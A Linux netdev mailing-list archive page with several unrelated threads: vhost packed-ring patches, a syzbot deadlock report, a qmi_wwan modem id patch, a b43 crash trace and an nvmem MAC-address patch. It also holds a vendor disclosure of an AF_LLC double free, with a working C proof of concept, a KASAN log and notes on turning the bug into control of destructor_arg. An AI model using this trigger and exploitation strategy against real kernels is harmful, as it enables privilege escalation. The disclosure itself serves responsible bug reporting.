struct vhost_log *log, unsigned int *log_num);
+int vhost_get_bufs(struct vhost_virtqueue *vq,
+ struct vring_used_elem *heads,
+ int datalen,
+ unsigned *iovcount,
+ struct vhost_log *log,
+ unsigned *log_num,
+ unsigned int quota);
void vhost_discard_vq_desc(struct vhost_virtqueue *, int n);
int vhost_vq_init_access(struct vhost_virtqueue *);
--
2.7.4
^ permalink raw reply related
* Re: [RFC PATCH V2 0/8] Packed ring for vhost
From: Jason Wang @ 2018-03-26 3:44 UTC (permalink / raw)
To: mst, virtualization
Cc: kvm, netdev, linux-kernel, Tiwei Bie, Jens Freimann, Wei Xu
In-Reply-To: <1522035533-11786-1-git-send-email-jasowang@redhat.com>
cc Jens, Tiwei and Wei
Thanks
On 2018年03月26日 11:38, Jason Wang wrote:
> Hi all:
>
> This RFC implement packed ring layout. The code were tested with pmd
> implement by Jens at
> http://dpdk.org/ml/archives/dev/2018-January/089417.html. Minor change
> was needed for pmd codes to kick virtqueue since it assumes a busy
> polling backend.
>
> Test were done between localhost and guest. Testpmd (rxonly) in guest
> reports 2.4Mpps. Testpmd (txonly) repots about 2.1Mpps.
>
> Notes: The event suppression /indirect descriptor support is complied
> test only because of lacked driver support.
>
> Changes from V1:
>
> - Refactor vhost used elem code to avoid open coding on used elem
> - Event suppression support (compile test only).
> - Indirect descriptor support (compile test only).
> - Zerocopy support.
> - vIOMMU support.
> - SCSI/VSOCK support (compile test only).
> - Fix several bugs
>
> For simplicity, I don't implement batching or other optimizations.
>
> Please review.
>
> Thanks
>
> Jason Wang (8):
> vhost: move get_rx_bufs to vhost.c
> vhost: hide used ring layout from device
> vhost: do not use vring_used_elem
> vhost_net: do not explicitly manipulate vhost_used_elem
> vhost: vhost_put_user() can accept metadata type
> virtio: introduce packed ring defines
> vhost: packed ring support
> vhost: event suppression for packed ring
>
> drivers/vhost/net.c | 138 ++-----
> drivers/vhost/scsi.c | 62 +--
> drivers/vhost/vhost.c | 818 ++++++++++++++++++++++++++++++++++---
> drivers/vhost/vhost.h | 46 ++-
> drivers/vhost/vsock.c | 42 +-
> include/uapi/linux/virtio_config.h | 9 +
> include/uapi/linux/virtio_ring.h | 32 ++
> 7 files changed, 921 insertions(+), 226 deletions(-)
>
^ permalink raw reply
* Re: possible deadlock in handle_rx
From: Jason Wang @ 2018-03-26 3:48 UTC (permalink / raw)
To: syzbot, kvm, linux-kernel, mst, netdev, syzkaller-bugs,
virtualization
In-Reply-To: <001a113fe6d043b2a605684578f4@google.com>
On 2018年03月26日 08:01, syzbot wrote:
> Hello,
>
> syzbot hit the following crash on upstream commit
> cb6416592bc2a8b731dabcec0d63cda270764fc6 (Sun Mar 25 17:45:10 2018 +0000)
> Merge tag 'dmaengine-fix-4.16-rc7' of
> git://git.kernel.org/pub/scm/linux/kernel/git/vkoul/slave-dma
> syzbot dashboard link:
> https://syzkaller.appspot.com/bug?extid=7f073540b1384a614e09
>
> So far this crash happened 4 times on upstream.
> C reproducer: https://syzkaller.appspot.com/x/repro.c?id=6506789075943424
> syzkaller reproducer:
> https://syzkaller.appspot.com/x/repro.syz?id=5716250550337536
> Raw console output:
> https://syzkaller.appspot.com/x/log.txt?id=5142038655795200
> Kernel config:
> https://syzkaller.appspot.com/x/.config?id=-5034017172441945317
> compiler: gcc (GCC) 7.1.1 20170620
>
> IMPORTANT: if you fix the bug, please add the following tag to the
> commit:
> Reported-by: syzbot+7f073540b1384a614e09@syzkaller.appspotmail.com
> It will help syzbot understand when the bug is fixed. See footer for
> details.
> If you forward the report, please keep this part and the footer.
>
>
> ============================================
> WARNING: possible recursive locking detected
> 4.16.0-rc6+ #366 Not tainted
> --------------------------------------------
> vhost-4248/4760 is trying to acquire lock:
> (&vq->mutex){+.+.}, at: [<000000003482bddc>]
> vhost_net_rx_peek_head_len drivers/vhost/net.c:633 [inline]
> (&vq->mutex){+.+.}, at: [<000000003482bddc>] handle_rx+0xeb1/0x19c0
> drivers/vhost/net.c:784
>
> but task is already holding lock:
> (&vq->mutex){+.+.}, at: [<000000004de72f44>] handle_rx+0x1f5/0x19c0
> drivers/vhost/net.c:766
>
> other info that might help us debug this:
> Possible unsafe locking scenario:
>
> CPU0
> ----
> lock(&vq->mutex);
> lock(&vq->mutex);
>
> *** DEADLOCK ***
>
> May be due to missing lock nesting notation
Yes, it's a missing of nesting notation.
Will post a patch soon.
Thanks
^ permalink raw reply
* [PATCHv2] net/usb/qmi_wwan.c: Add USB id for lt4120 modem
From: Torsten Hilbrich @ 2018-03-26 5:19 UTC (permalink / raw)
To: David Miller; +Cc: bjorn, netdev, linux-usb, Dennis.Wassenberg
In-Reply-To: <20180325.211654.1351947197260371018.davem@davemloft.net>
This is needed to support the modem found in HP EliteBook 820 G3.
Signed-off-by: Torsten Hilbrich <torsten.hilbrich@secunet.com>
---
drivers/net/usb/qmi_wwan.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/net/usb/qmi_wwan.c b/drivers/net/usb/qmi_wwan.c
index 76ac48095c29..e3ef0a0c715d 100644
--- a/drivers/net/usb/qmi_wwan.c
+++ b/drivers/net/usb/qmi_wwan.c
@@ -1240,6 +1240,7 @@ static const struct usb_device_id products[] = {
{QMI_FIXED_INTF(0x413c, 0x81b6, 8)}, /* Dell Wireless 5811e */
{QMI_FIXED_INTF(0x413c, 0x81b6, 10)}, /* Dell Wireless 5811e */
{QMI_FIXED_INTF(0x03f0, 0x4e1d, 8)}, /* HP lt4111 LTE/EV-DO/HSPA+ Gobi 4G Module */
+ {QMI_FIXED_INTF(0x03f0, 0x9d1d, 1)}, /* HP lt4120 Snapdragon X5 LTE */
{QMI_FIXED_INTF(0x22de, 0x9061, 3)}, /* WeTelecom WPD-600N */
{QMI_FIXED_INTF(0x1e0e, 0x9001, 5)}, /* SIMCom 7230E */
{QMI_QUIRK_SET_DTR(0x2c7c, 0x0125, 4)}, /* Quectel EC25, EC20 R2.0 Mini PCIe */
--
2.11.0
^ permalink raw reply related
* Re: [QUESTION] Mainline support for B43_PHY_AC wifi cards
From: Juri Lelli @ 2018-03-26 5:56 UTC (permalink / raw)
To: Rafał Miłecki
Cc: b43-dev, Network Development, linux-wireless@vger.kernel.org,
Linux Kernel Mailing List
In-Reply-To: <CACna6rwk04dn2oVYsQMhmzvRTmuDv8_AKPK7+kBwbjB_CLRALg@mail.gmail.com>
On 24/03/18 00:01, Rafał Miłecki wrote:
> On 23 March 2018 at 15:09, Juri Lelli <juri.lelli@gmail.com> wrote:
> > On 23/03/18 14:43, Rafał Miłecki wrote:
> >> Hi,
> >>
> >> On 23 March 2018 at 10:47, Juri Lelli <juri.lelli@gmail.com> wrote:
> >> > I've got a Dell XPS 13 9343/0TM99H (BIOS A15 01/23/2018) mounting a
> >> > BCM4352 802.11ac (rev 03) wireless card and so far I've been using it on
> >> > Fedora with broadcom-wl package (which I believe installs Broadcom's STA
> >> > driver?). It works good apart from occasional hiccups after suspend.
> >> >
> >> > I'd like to get rid of that dependency (you can understand that it's
> >> > particularly annoying when testing mainline kernels), but I found out
> >> > that support for my card is BROKEN in mainline [1]. Just to see what
> >> > happens, I forcibly enabled it witnessing that it indeed crashes like
> >> > below as Kconfig warns. :)
> >> >
> >> > bcma: bus0: Found chip with id 0x4352, rev 0x03 and package 0x00
> >> > bcma: bus0: Core 0 found: ChipCommon (manuf 0x4BF, id 0x800, rev 0x2B, class 0x0)
> >> > bcma: bus0: Core 1 found: IEEE 802.11 (manuf 0x4BF, id 0x812, rev 0x2A, class 0x0)
> >> > bcma: bus0: Core 2 found: ARM CR4 (manuf 0x4BF, id 0x83E, rev 0x02, class 0x0)
> >> > bcma: bus0: Core 3 found: PCIe Gen2 (manuf 0x4BF, id 0x83C, rev 0x01, class 0x0)
> >> > bcma: bus0: Core 4 found: USB 2.0 Device (manuf 0x4BF, id 0x81A, rev 0x11, class 0x0)
> >> > bcma: Unsupported SPROM revision: 11
> >> > bcma: bus0: Invalid SPROM read from the PCIe card, trying to use fallback SPROM
> >> > bcma: bus0: Using fallback SPROM failed (err -2)
> >> > bcma: bus0: No SPROM available
> >> > bcma: bus0: Bus registered
> >> > b43-phy0: Broadcom 4352 WLAN found (core revision 42)
> >> > b43-phy0: Found PHY: Analog 12, Type 11 (AC), Revision 1
> >> > b43-phy0: Found Radio: Manuf 0x17F, ID 0x2069, Revision 4, Version 0
> >> > BUG: unable to handle kernel NULL pointer dereference at 0000000000000000
> >>
> >> This isn't really useful without a full backtrace.
> >
> > Sure. I cut it here because I didn't expect people to debug what is
> > already known to be broken (but still it seemed to carry useful
> > information about the hw). :)
>
> Please paste the remaining part if you still got it.
Sure, please find it below.
Thanks!
- Juri
--->8---
[ 60.732180] cfg80211: Loading compiled-in X.509 certificates for regulatory database
[ 60.733048] cfg80211: Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7'
[ 60.733303] platform regulatory.0: Direct firmware load for regulatory.db failed with error -2
[ 60.733305] cfg80211: failed to load regulatory.db
[ 61.047277] bcma: bus0: Found chip with id 0x4352, rev 0x03 and package 0x00
[ 61.047302] bcma: bus0: Core 0 found: ChipCommon (manuf 0x4BF, id 0x800, rev 0x2B, class 0x0)
[ 61.047316] bcma: bus0: Core 1 found: IEEE 802.11 (manuf 0x4BF, id 0x812, rev 0x2A, class 0x0)
[ 61.047340] bcma: bus0: Core 2 found: ARM CR4 (manuf 0x4BF, id 0x83E, rev 0x02, class 0x0)
[ 61.047366] bcma: bus0: Core 3 found: PCIe Gen2 (manuf 0x4BF, id 0x83C, rev 0x01, class 0x0)
[ 61.047380] bcma: bus0: Core 4 found: USB 2.0 Device (manuf 0x4BF, id 0x81A, rev 0x11, class 0x0)
[ 61.107321] bcma: Unsupported SPROM revision: 11
[ 61.107325] bcma: bus0: Invalid SPROM read from the PCIe card, trying to use fallback SPROM
[ 61.107326] bcma: bus0: Using fallback SPROM failed (err -2)
[ 61.107327] bcma: bus0: No SPROM available
[ 61.109830] bcma: bus0: Bus registered
[ 61.242068] b43-phy0: Broadcom 4352 WLAN found (core revision 42)
[ 61.242481] b43-phy0: Found PHY: Analog 12, Type 11 (AC), Revision 1
[ 61.242487] b43-phy0: Found Radio: Manuf 0x17F, ID 0x2069, Revision 4, Version 0
[ 61.242909] BUG: unable to handle kernel NULL pointer dereference at 0000000000000000
[ 61.242916] IP: (null)
[ 61.242919] PGD 0 P4D 0
[ 61.242924] Oops: 0010 [#1] PREEMPT SMP PTI
[ 61.242926] Modules linked in: b43(+) bcma mac80211 cfg80211 ssb mmc_core rfcomm fuse nf_conntrack_netbios_ns nf_conntrack_broadcast xt_CT ip6t_rpfilter ip6t_REJECT nf_reject_ipv6 xt_conntrack ip_set nfnetlink ebtable_nat ebtable_broute bridge stp llc ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_raw ip6table_security iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack libcrc32c iptable_mangle iptable_raw iptable_security ebtable_filter ebtables ip6table_filter ip6_tables cmac bnep sunrpc intel_rapl x86_pkg_temp_thermal intel_powerclamp coretemp kvm_intel kvm snd_hda_codec_realtek snd_hda_codec_hdmi snd_hda_codec_generic snd_hda_intel btusb snd_hda_codec uvcvideo btrtl btbcm btintel snd_hda_core bluetooth snd_hwdep videobuf2_
vmalloc snd_seq
[ 61.242989] videobuf2_memops videobuf2_v4l2 iTCO_wdt snd_seq_device snd_pcm videobuf2_common iTCO_vendor_support dell_laptop dell_wmi irqbypass videodev wmi_bmof sparse_keymap dell_smbios intel_cstate dell_wmi_descriptor intel_uncore dcdbas ecdh_generic snd_timer intel_rapl_perf snd rfkill mei_me media pcspkr mei i2c_i801 shpchp joydev tpm_crb soundcore intel_pch_thermal processor_thermal_device lpc_ich tpm_tis intel_soc_dts_iosf wmi tpm_tis_core tpm int3403_thermal dw_dmac int3402_thermal int3400_thermal int340x_thermal_zone acpi_pad acpi_thermal_rel dm_crypt i915 i2c_algo_bit drm_kms_helper drm hid_multitouch crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel serio_raw video i2c_hid
[ 61.243044] CPU: 1 PID: 2410 Comm: modprobe Not tainted 4.16.0-rc6+ #2
[ 61.243046] Hardware name: Dell Inc. XPS 13 9343/0TM99H, BIOS A15 01/23/2018
[ 61.243049] RIP: 0010: (null)
[ 61.243051] RSP: 0018:ffffaaa6c2afbaf0 EFLAGS: 00010282
[ 61.243054] RAX: 0000000000000000 RBX: ffff908d0b3c4800 RCX: ffff908d0b3c2800
[ 61.243057] RDX: ffff908d0b3c2800 RSI: 0000000000000001 RDI: ffff908d0b3c4800
[ 61.243059] RBP: 0000000000000001 R08: 0000000000000001 R09: 0000000000000000
[ 61.243061] R10: 0000000000000000 R11: 000000000000008b R12: 0000000000000001
[ 61.243064] R13: ffff908d082b9f00 R14: ffff908d0b3c4800 R15: 0000000000000004
[ 61.243067] FS: 00007feb59ec30c0(0000) GS:ffff908d1f480000(0000) knlGS:0000000000000000
[ 61.243069] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 61.243071] CR2: 0000000000000000 CR3: 000000020caaa002 CR4: 00000000003606e0
[ 61.243074] Call Trace:
[ 61.243089] ? b43_wireless_core_reset+0x38/0x230 [b43]
[ 61.243099] ? b43_one_core_attach+0x368/0xd00 [b43]
[ 61.243109] ? b43_bcma_probe+0x54/0xf0 [b43]
[ 61.243115] ? bcma_device_probe+0x31/0x60 [bcma]
[ 61.243120] ? preempt_count_sub+0x9b/0xd0
[ 61.243125] ? driver_probe_device+0x30b/0x480
[ 61.243129] ? __driver_attach+0xb8/0xe0
[ 61.243133] ? driver_probe_device+0x480/0x480
[ 61.243136] ? driver_probe_device+0x480/0x480
[ 61.243140] ? bus_for_each_dev+0x76/0xc0
[ 61.243144] ? bus_add_driver+0x161/0x260
[ 61.243147] ? 0xffffffffc0ab5000
[ 61.243151] ? driver_register+0x57/0xc0
[ 61.243154] ? 0xffffffffc0ab5000
[ 61.243163] ? b43_init+0x24/0x1000 [b43]
[ 61.243167] ? do_one_initcall+0x4e/0x192
[ 61.243172] ? kmem_cache_alloc_trace+0xa1/0x1c0
[ 61.243177] ? do_init_module+0x5b/0x20b
[ 61.243180] ? load_module+0x257b/0x2bb0
[ 61.243185] ? vfs_read+0x113/0x130
[ 61.243191] ? SYSC_finit_module+0xe9/0x110
[ 61.243194] ? SYSC_finit_module+0xe9/0x110
[ 61.243200] ? do_syscall_64+0x79/0x190
[ 61.243205] ? entry_SYSCALL_64_after_hwframe+0x42/0xb7
[ 61.243209] Code: Bad RIP value.
[ 61.243217] RIP: (null) RSP: ffffaaa6c2afbaf0
[ 61.243218] CR2: 0000000000000000
[ 61.243222] ---[ end trace 3e3c52c383af1049 ]---
^ permalink raw reply
* [PATCH v2] of_net: Implement of_get_nvmem_mac_address helper
From: Mike Looijmans @ 2018-03-26 6:41 UTC (permalink / raw)
To: netdev
Cc: linux-kernel, devicetree, andrew, f.fainelli, robh+dt,
frowand.list, Mike Looijmans
In-Reply-To: <1521815074-30424-1-git-send-email-mike.looijmans@topic.nl>
It's common practice to store MAC addresses for network interfaces into
nvmem devices. However the code to actually do this in the kernel lacks,
so this patch adds of_get_nvmem_mac_address() for drivers to obtain the
address from an nvmem cell provider.
This is particulary useful on devices where the ethernet interface cannot
be configured by the bootloader, for example because it's in an FPGA.
Tested by adapting the cadence macb driver to call this instead of
of_get_mac_address().
Signed-off-by: Mike Looijmans <mike.looijmans@topic.nl>
---
v2: Use of_nvmem_cell_get to avoid needing the assiciated device
Use void* instead of char*
Add devicetree binding doc
Documentation/devicetree/bindings/net/ethernet.txt | 2 +
drivers/of/of_net.c | 47 ++++++++++++++++++++++
include/linux/of_net.h | 6 +++
3 files changed, 55 insertions(+)
diff --git a/Documentation/devicetree/bindings/net/ethernet.txt b/Documentation/devicetree/bindings/net/ethernet.txt
index 2974e63..cfc376b 100644
--- a/Documentation/devicetree/bindings/net/ethernet.txt
+++ b/Documentation/devicetree/bindings/net/ethernet.txt
@@ -10,6 +10,8 @@ Documentation/devicetree/bindings/phy/phy-bindings.txt.
the boot program; should be used in cases where the MAC address assigned to
the device by the boot program is different from the "local-mac-address"
property;
+- nvmem-cells: phandle, reference to an nvmem node for the MAC address;
+- nvmem-cell-names: string, should be "mac-address" if nvmem is to be used;
- max-speed: number, specifies maximum speed in Mbit/s supported by the device;
- max-frame-size: number, maximum transfer unit (IEEE defined MTU), rather than
the maximum frame size (there's contradiction in the Devicetree
diff --git a/drivers/of/of_net.c b/drivers/of/of_net.c
index d820f3e..8999745 100644
--- a/drivers/of/of_net.c
+++ b/drivers/of/of_net.c
@@ -7,6 +7,7 @@
*/
#include <linux/etherdevice.h>
#include <linux/kernel.h>
+#include <linux/nvmem-consumer.h>
#include <linux/of_net.h>
#include <linux/phy.h>
#include <linux/export.h>
@@ -80,3 +81,49 @@ const void *of_get_mac_address(struct device_node *np)
return of_get_mac_addr(np, "address");
}
EXPORT_SYMBOL(of_get_mac_address);
+
+/**
+ * Search the device tree for a MAC address, by calling of_get_mac_address
+ * and if that doesn't provide an address, fetch it from an nvmem provider
+ * using the name 'mac-address'.
+ * On success, copies the new address is into memory pointed to by addr and
+ * returns 0. Returns a negative error code otherwise.
+ * @dev: Pointer to the device containing the device_node
+ * @addr: Pointer to receive the MAC address using ether_addr_copy()
+ */
+int of_get_nvmem_mac_address(struct device_node *np, void *addr)
+{
+ const void *mac;
+ struct nvmem_cell *cell;
+ size_t len;
+ int ret;
+
+ mac = of_get_mac_address(np);
+ if (mac) {
+ ether_addr_copy(addr, mac);
+ return 0;
+ }
+
+ cell = of_nvmem_cell_get(np, "mac-address");
+ if (IS_ERR(cell))
+ return PTR_ERR(cell);
+
+ mac = nvmem_cell_read(cell, &len);
+
+ nvmem_cell_put(cell);
+
+ if (IS_ERR(mac))
+ return PTR_ERR(mac);
+
+ if (len < 6 || !is_valid_ether_addr(mac)) {
+ ret = -EINVAL;
+ } else {
+ ether_addr_copy(addr, mac);
+ ret = 0;
+ }
+
+ kfree(mac);
+
+ return ret;
+}
+EXPORT_SYMBOL(of_get_nvmem_mac_address);
diff --git a/include/linux/of_net.h b/include/linux/of_net.h
index 9cd72aa..90d81ee 100644
--- a/include/linux/of_net.h
+++ b/include/linux/of_net.h
@@ -13,6 +13,7 @@
struct net_device;
extern int of_get_phy_mode(struct device_node *np);
extern const void *of_get_mac_address(struct device_node *np);
+extern int of_get_nvmem_mac_address(struct device_node *np, void *addr);
extern struct net_device *of_find_net_device_by_node(struct device_node *np);
#else
static inline int of_get_phy_mode(struct device_node *np)
@@ -25,6 +26,11 @@ static inline const void *of_get_mac_address(struct device_node *np)
return NULL;
}
+static inline int of_get_nvmem_mac_address(struct device_node *np, void *addr)
+{
+ return -ENODEV;
+}
+
static inline struct net_device *of_find_net_device_by_node(struct device_node *np)
{
return NULL;
--
1.9.1
^ permalink raw reply related
* Security Vulnerability in AF_LLC (Double Free)
From: Noam Rathaus @ 2018-03-26 6:43 UTC (permalink / raw)
To: netdev
Hi,
We would like to report a security vulnerability in AF_LLC.
The credit should be given as such:
"An independent security researcher has reported this vulnerability to
Beyond Security’s SecuriTeam Secure Disclosure program."
==
# AF_LLC DOUBLE FREE
## affected versions
The bug seems to be present in the Linux kernel from the latest
version to 2.6.39.4 and even earlier versions.
## summary
LLC sockets can only be created with CAP_NET_RAW capability.
Setsockopt() with SO_BINDTODEVICE is necessary to setup
sk->sk_bound_dev_if so that bind() won't fail as well as
llc_ui_sendmsg() when checking that llc->addr is initialized.
Then after connecting and sending a message, the code leads to
llc_build_and_send_pkt.
The error can be spotted in llc_conn_state_process():
```
...
out_kfree_skb:
kfree_skb(skb);
out_skb_put:
kfree_skb(skb);
return rc;
}
```
The end of the function see 2 consecutive free on the skb which causes
a UAF first followed by a double free as seen in the crash log:
```
void kfree_skb(struct sk_buff *skb)
{
if (!skb_unref(skb))
return;
trace_kfree_skb(skb, __builtin_return_address(0));
__kfree_skb(skb);
}
```
Exploiting the double free on the struct sk_buff itself is not easy
due to that fact that it belongs to its own slab. However, a sk_buff
has a kmalloc-ed buffer which is allocated and deallocated side by
side with it (cf. https://xairy.github.io/blog/2016/cve-2016-2384).
It's kind of similar to 2 consecutive double free.
We want to target the 2nd free to free any other object with function
pointers (in the general kmalloc) so that we can abuse the crafted
UAF. A good target could be to free a skb's buffer and control the
destructor_arg in skb_shared_info just like the writeup in the above
link.
## POC
```
#define _GNU_SOURCE
#include <endian.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/socket.h>
struct sockaddr_llc {
short sllc_family;
short sllc_arphrd;
unsigned char sllc_test;
unsigned char sllc_xid;
unsigned char sllc_ua;
unsigned char sllc_sap;
unsigned char sllc_mac[6];
unsigned char __pad[2];
};
void test()
{
int fd = socket(AF_LLC, SOCK_STREAM, 0);
char output[32] = "lo";
socklen_t len;
setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, &output, 0x10);
struct sockaddr_llc addr1 = {.sllc_family = AF_LLC, .sllc_sap = 2};
bind(fd, (const struct sockaddr *)&addr1, sizeof(struct sockaddr_llc));
struct sockaddr_llc addr2 = {.sllc_family = AF_LLC, .sllc_sap = 2};
connect(fd, (const struct sockaddr *)&addr2, sizeof(struct sockaddr_llc));
char msg[0x10] = "aaaa";
send(fd, msg, 0x10, 0);
}
int main()
{
test();
return 0;
}
```
## crash log
```
[ 23.142123] BUG: KASAN: use-after-free in kfree_skb+0x298/0x2f0
[ 23.143012] Read of size 4 at addr ffff8801093d1124 by task poc/207
[ 23.143742]
[ 23.143892] CPU: 0 PID: 207 Comm: poc Not tainted 4.15.0+ #5
[ 23.144396] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS rel-1.11.0-0-g63451fca13-prebuilt.qemu-project.org 04/01/2014
[ 23.145452] Call Trace:
[ 23.145694] dump_stack+0xcc/0x16c
[ 23.147098] print_address_description+0x73/0x290
[ 23.147534] kasan_report+0x277/0x360
[ 23.148204] kfree_skb+0x298/0x2f0
[ 23.149829] llc_conn_state_process+0x12d/0x1260
[ 23.150536] llc_build_and_send_pkt+0x195/0x240
[ 23.151135] llc_ui_sendmsg+0x78b/0x1280
[ 23.155716] sock_sendmsg+0xc5/0x100
[ 23.156413] SYSC_sendto+0x33a/0x580
[ 23.163517] entry_SYSCALL_64_fastpath+0x24/0x87
[ 23.164241] RIP: 0033:0x400cfd
[ 23.164694] RSP: 002b:00007ffd3d1f4bd8 EFLAGS: 00000246
[ 23.164698]
[ 23.165766] Allocated by task 207:
[ 23.166397] kasan_kmalloc+0xa0/0xd0
[ 23.167071] kmem_cache_alloc_node+0x100/0x1c0
[ 23.167829] __alloc_skb+0xe2/0x700
[ 23.168457] alloc_skb_with_frags+0x10a/0x690
[ 23.169174] sock_alloc_send_pskb+0x735/0x920
[ 23.170156] llc_ui_sendmsg+0x427/0x1280
[ 23.170960] sock_sendmsg+0xc5/0x100
[ 23.171547] SYSC_sendto+0x33a/0x580
[ 23.172280] entry_SYSCALL_64_fastpath+0x24/0x87
[ 23.173460]
[ 23.173763] Freed by task 207:
[ 23.174261] kasan_slab_free+0x71/0xc0
[ 23.174843] kmem_cache_free+0x77/0x1e0
[ 23.175410] kfree_skbmem+0x1a1/0x1d0
[ 23.175987] kfree_skb+0x12f/0x2f0
[ 23.176541] llc_conn_state_process+0x120/0x1260
[ 23.177406] llc_build_and_send_pkt+0x195/0x240
[ 23.178051] llc_ui_sendmsg+0x78b/0x1280
[ 23.178647] sock_sendmsg+0xc5/0x100
[ 23.179175] SYSC_sendto+0x33a/0x580
[ 23.179702] entry_SYSCALL_64_fastpath+0x24/0x87
[ 23.180368]
[ 23.180603] The buggy address belongs to the object at ffff8801093d1040
[ 23.180603] which belongs to the cache skbuff_head_cache of size 232
[ 23.182503] The buggy address is located 228 bytes inside of
[ 23.182503] 232-byte region [ffff8801093d1040, ffff8801093d1128)
[ 23.184255] The buggy address belongs to the page:
[ 23.184976] page:ffffea000424f400 count:1 mapcount:0 mapping:
(null) index:0x0 compound_mapcount: 0
[ 23.186602] flags: 0x17ffffc0008100(slab|head)
[ 23.187722] raw: 0017ffffc0008100 0000000000000000 0000000000000000
0000000180190019
[ 23.188919] raw: dead000000000100 dead000000000200 ffff88010dee2540
0000000000000000
[ 23.189891] page dumped because: kasan: bad access detected
[ 23.190587]
[ 23.190788] Memory state around the buggy address:
[ 23.191394] ffff8801093d1000: fc fc fc fc fc fc fc fc fb fb fb fb
fb fb fb fb
[ 23.192300] ffff8801093d1080: fb fb fb fb fb fb fb fb fb fb fb fb
fb fb fb fb
[ 23.193238] >ffff8801093d1100: fb fb fb fb fb fc fc fc fc fc fc fc
fc fc fc fc
[ 23.194352] ^
[ 23.195089] ffff8801093d1180: fb fb fb fb fb fb fb fb fb fb fb fb
fb fb fb fb
[ 23.196254] ffff8801093d1200: fb fb fb fb fb fb fb fb fb fb fb fb
fb fc fc fc
[ 23.197271] ==================================================================
[ 23.198327] Disabling lock debugging due to kernel taint
[ 23.199108] ==================================================================
[ 23.200025] BUG: KASAN: double-free or invalid-free in (null)
[ 23.200816]
[ 23.201047] CPU: 0 PID: 207 Comm: poc Tainted: G B 4.15.0+ #5
[ 23.202212] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS rel-1.11.0-0-g63451fca13-prebuilt.qemu-project.org 04/01/2014
[ 23.203921] Call Trace:
[ 23.204323] dump_stack+0xcc/0x16c
[ 23.206271] print_address_description+0x73/0x290
[ 23.207700] kasan_report_double_free+0x65/0xa0
[ 23.208432] kasan_slab_free+0xa3/0xc0
[ 23.209650] kmem_cache_free+0x77/0x1e0
[ 23.210278] kfree_skbmem+0x1a1/0x1d0
[ 23.211509] kfree_skb+0x12f/0x2f0
[ 23.214089] llc_conn_state_process+0x12d/0x1260
[ 23.215088] llc_build_and_send_pkt+0x195/0x240
[ 23.215810] llc_ui_sendmsg+0x78b/0x1280
[ 23.220486] sock_sendmsg+0xc5/0x100
[ 23.221045] SYSC_sendto+0x33a/0x580
[ 23.227676] entry_SYSCALL_64_fastpath+0x24/0x87
[ 23.228398] RIP: 0033:0x400cfd
[ 23.228892] RSP: 002b:00007ffd3d1f4bd8 EFLAGS: 00000246
[ 23.228896]
[ 23.229966] Allocated by task 207:
[ 23.230538] kasan_kmalloc+0xa0/0xd0
[ 23.231112] kmem_cache_alloc_node+0x100/0x1c0
[ 23.231824] __alloc_skb+0xe2/0x700
[ 23.232395] alloc_skb_with_frags+0x10a/0x690
[ 23.233118] sock_alloc_send_pskb+0x735/0x920
[ 23.233838] llc_ui_sendmsg+0x427/0x1280
[ 23.234434] sock_sendmsg+0xc5/0x100
[ 23.234947] SYSC_sendto+0x33a/0x580
[ 23.235414] entry_SYSCALL_64_fastpath+0x24/0x87
[ 23.236088]
[ 23.236348] Freed by task 207:
[ 23.236774] kasan_slab_free+0x71/0xc0
[ 23.237242] kmem_cache_free+0x77/0x1e0
[ 23.237740] kfree_skbmem+0x1a1/0x1d0
[ 23.238202] kfree_skb+0x12f/0x2f0
[ 23.238698] llc_conn_state_process+0x120/0x1260
[ 23.239435] llc_build_and_send_pkt+0x195/0x240
[ 23.240129] llc_ui_sendmsg+0x78b/0x1280
[ 23.240617] sock_sendmsg+0xc5/0x100
[ 23.241086] SYSC_sendto+0x33a/0x580
[ 23.241555] entry_SYSCALL_64_fastpath+0x24/0x87
[ 23.242230]
[ 23.242450] The buggy address belongs to the object at ffff8801093d1040
[ 23.242450] which belongs to the cache skbuff_head_cache of size 232
[ 23.244066] The buggy address is located 0 bytes inside of
[ 23.244066] 232-byte region [ffff8801093d1040, ffff8801093d1128)
[ 23.245810] The buggy address belongs to the page:
[ 23.246425] page:ffffea000424f400 count:1 mapcount:0 mapping:
(null) index:0x0 compound_mapcount: 0
[ 23.247905] flags: 0x17ffffc0008100(slab|head)
[ 23.248553] raw: 0017ffffc0008100 0000000000000000 0000000000000000
0000000180190019
[ 23.249762] raw: dead000000000100 dead000000000200 ffff88010dee2540
0000000000000000
[ 23.250949] page dumped because: kasan: bad access detected
[ 23.251809]
[ 23.252037] Memory state around the buggy address:
[ 23.252782] ffff8801093d0f00: fc fc fc fc fc fc fc fc fc fc fc fc
fc fc fc fc
[ 23.253731] ffff8801093d0f80: fc fc fc fc fc fc fc fc fc fc fc fc
fc fc fc fc
[ 23.254660] >ffff8801093d1000: fc fc fc fc fc fc fc fc fb fb fb fb
fb fb fb fb
[ 23.255585] ^
[ 23.256273] ffff8801093d1080: fb fb fb fb fb fb fb fb fb fb fb fb
fb fb fb fb
[ 23.257274] ffff8801093d1100: fb fb fb fb fb fc fc fc fc fc fc fc
fc fc fc fc
[ 23.258614] ==================================================================
```
==
--
Thanks,
Noam Rathaus
Beyond Security
PGP Key ID: 7EF920D3C045D63F (Exp 2019-03)
^ permalink raw reply
* Re: [PATCH] of_net: Implement of_get_nvmem_mac_address helper
From: Mike Looijmans @ 2018-03-26 6:54 UTC (permalink / raw)
To: Andrew Lunn
Cc: Florian Fainelli, netdev, linux-kernel, devicetree, robh+dt,
frowand.list
In-Reply-To: <d2dfee96-cd30-fa16-6c83-b55773e3aa91@topic.nl>
On 25-03-18 10:17, Mike Looijmans wrote:
> On 24-03-18 19:53, Andrew Lunn wrote:
>>> A quick survey for the of_get_mac_address users learns that most of them do
